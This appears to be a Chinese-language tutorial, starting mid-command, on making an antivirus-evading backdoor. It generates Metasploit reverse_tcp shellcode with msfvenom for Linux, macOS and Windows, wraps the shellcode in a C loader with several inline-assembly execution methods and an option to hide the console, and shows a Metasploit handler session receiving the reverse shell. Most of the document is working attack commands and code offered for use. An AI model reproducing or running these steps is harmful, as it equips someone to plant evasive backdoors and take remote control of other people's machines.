MSF 生成ShellCode

攻击机IP LPORT=攻击机端口 -f c

linux shellcode:

msfvenom -a x86 --platform Linux -p linux/x86/meterpreter/reverse_tcp LHOST=攻
击机IP LPORT=攻击机端口 -f c

mac shellcode:

msfvenom -a x86 --platform osx -p osx/x86/shell_reverse_tcp LHOST=攻击机IP
LPORT=攻击机端口 -f c

ShellCode 制作免杀后门

1.首先使用msfvenom命令生成一句简短的shellcode,这里指定连接地址为IP=192.168.1.7,PORT=8888,当执行shellcode生成命令时屏幕会输出一些十六进制的文本,这些文本其实是机器码的编码形式,以下是对参数的解释.

[root@localhost ~]# msfvenom -a x86 --platform Windows \
>                              -p windows/meterpreter/reverse_tcp \
>                              -b '\x00\x0b' LHOST=192.168.1.7 LPORT=8888 -f c

-p, --payload   #指定需要使用的payload(攻击荷载)
-f, --format    #指定输出格式 (使用 --help-formats 来获取msf)
-b '\x00\x0b'   #规避特殊字符串

2.将上面的ShellCode代码复制下来,打开VS Express编译器,并写以下C代码,这里使用内联汇编的形式调用这段ShellCode代码.

#include <stdio.h>
#include <windows.h>

//#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")  // 隐藏控制台窗口显示
#pragma comment(linker,"/INCREMENTAL:NO")                                     // 减小编译体积
#pragma comment(linker, "/section:.data,RWE")                                 // 启用数据段可读写

unsigned char shellcode[] =

"\xca\xec\x3f\xcd\x34\xa2\x40\xc4";

int main(int argc, char **argv)
{
    __asm
    {
        lea eax, shellcode
            call eax
    }
    return 0;
}

此外出去上面的这种汇编形式,这里我也整理了其他的一些调用ShellCode的代码.

    //第1种方法     
    void RunShellCode_2()  
    {  
        ((void(*)(void))&shellcode)();  
    }  
      
    //第2种方法  
    void RunShellCode_3()  
    {  
        __asm  
        {  
            lea eax, shellcode;  
            jmp eax;  
        }  
    }  
      
    //第3种方法     
    void RunShellCode_4()  
    {  
        __asm  
        {  
            mov eax, offset shellcode;  
            jmp eax;  
        }  
    }  
      
    //第4种方法     
    void RunShellCode_5()  
    {  
        __asm  
        {  
            mov eax, offset shellcode;  
            _emit 0xFF;  
            _emit 0xE0;  
        }  
    }  

3.在MFS控制主机,启动侦听程序.

msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) >
msf5 exploit(multi/handler) > show options

msf5 exploit(multi/handler) > set lhost 192.168.1.7
lhost => 192.168.1.7
msf5 exploit(multi/handler) > set lport 8888
lport => 8888
msf5 exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 192.168.1.7:8888

启动我们的shellcode代码,就可看到反弹回一个shell.

msf5 exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 192.168.1.7:8888
[*] Sending stage (179779 bytes) to 192.168.1.2
